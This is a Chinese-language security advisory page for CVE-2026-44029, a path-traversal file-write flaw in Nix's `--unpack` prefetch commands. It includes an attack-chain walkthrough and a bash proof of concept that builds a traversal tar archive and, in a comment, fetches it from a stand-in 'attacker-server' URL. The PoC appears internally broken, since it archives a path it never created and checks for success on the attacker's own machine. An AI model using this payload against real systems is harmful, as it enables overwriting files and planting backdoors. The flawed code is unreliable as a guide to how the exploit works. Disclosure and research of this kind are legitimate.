IPBUF安全漏洞报告
English
CVE-2026-44029 CVSS 5.3 中危

CVE-2026-44029 Nix 任意文件写入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-44029
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nix

相关标签

路径遍历任意文件写入NixCVE-2026-44029

漏洞概述

CVE-2026-44029是Nix包管理器中的一个安全漏洞。在2.34.7之前的版本中,攻击者可利用`nix-prefetch-url --unpack`或`nix store prefetch-file --unpack`命令中的目录遍历缺陷,实现任意文件写入,无需认证即可破坏系统完整性。

技术细节

该漏洞的核心原理在于Nix包管理器在解压远程下载的压缩包时,未对压缩包内的文件路径进行严格的边界检查。具体而言,当使用`nix-prefetch-url --unpack`或`nix store prefetch-file --unpack`命令时,程序未能正确过滤路径遍历字符(如../)。攻击者可构造包含恶意路径的压缩包,当Nix解压该文件时,会跟随遍历序列将文件写入到预期目录之外的系统任意位置。由于CVSS向量显示无需权限(PR:N)且无用户交互(UI:N),此漏洞可能被利用于覆盖关键系统文件或植入恶意代码。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用的是存在漏洞的Nix版本(< 2.34.7)。
STEP 2
武器化
攻击者构造一个包含特殊路径遍历字符(如../)的恶意压缩包文件,旨在将文件写入系统敏感目录。
STEP 3
交付
攻击者将恶意压缩包托管在网络上,诱导目标系统或用户使用`nix-prefetch-url --unpack`命令下载并解压该URL。
STEP 4
利用
Nix在执行解压操作时,由于未正确校验路径,将恶意文件写入到预期目录之外的任意位置。
STEP 5
影响
系统完整性受损,攻击者可能覆盖配置文件、写入SSH密钥或植入后门程序。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-44029: Nix Directory Traversal / Arbitrary File Write # 1. Create a directory structure for the malicious payload mkdir -p poc_exploit # 2. Create a file to be written to an arbitrary location (e.g., /tmp/pwned.txt) echo "CVE-2026-44029 Exploited: Arbitrary write successful" > poc_exploit/data.txt # 3. Create a tar archive containing the file with a path traversal sequence # Note: Modern tar tools may warn or block this, but the vulnerable Nix version processes it. # Using --absolute-names or constructing the symlink manually might be needed depending on the implementation. cd poc_exploit tar --absolute-names -cf ../malicious.tar ./../../../../tmp/pwned.txt cd .. # 4. Simulate hosting the file (in a real scenario, host this on a web server) echo "Host malicious.tar on a server accessible by the target." # 5. Trigger the vulnerable command on the target system # The attacker tricks the victim/system into running: # nix-prefetch-url --unpack http://attacker-server/malicious.tar # Verification: Check if the file was written to /tmp/ if [ -f "/tmp/pwned.txt" ]; then echo "[+] Exploit successful: File written to /tmp/pwned.txt" cat /tmp/pwned.txt else echo "[-] Exploit failed or not executed" fi

影响范围

Nix < 2.34.7
Nix < 2.33.6
Nix < 2.32.8
Nix < 2.31.5
Nix < 2.30.5
Nix < 2.29.4
Nix < 2.28.7

防御指南

临时缓解措施
避免对不受信任的URL使用`--unpack`参数,或严格限制Nix进程的网络访问权限,仅允许下载可信来源的资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表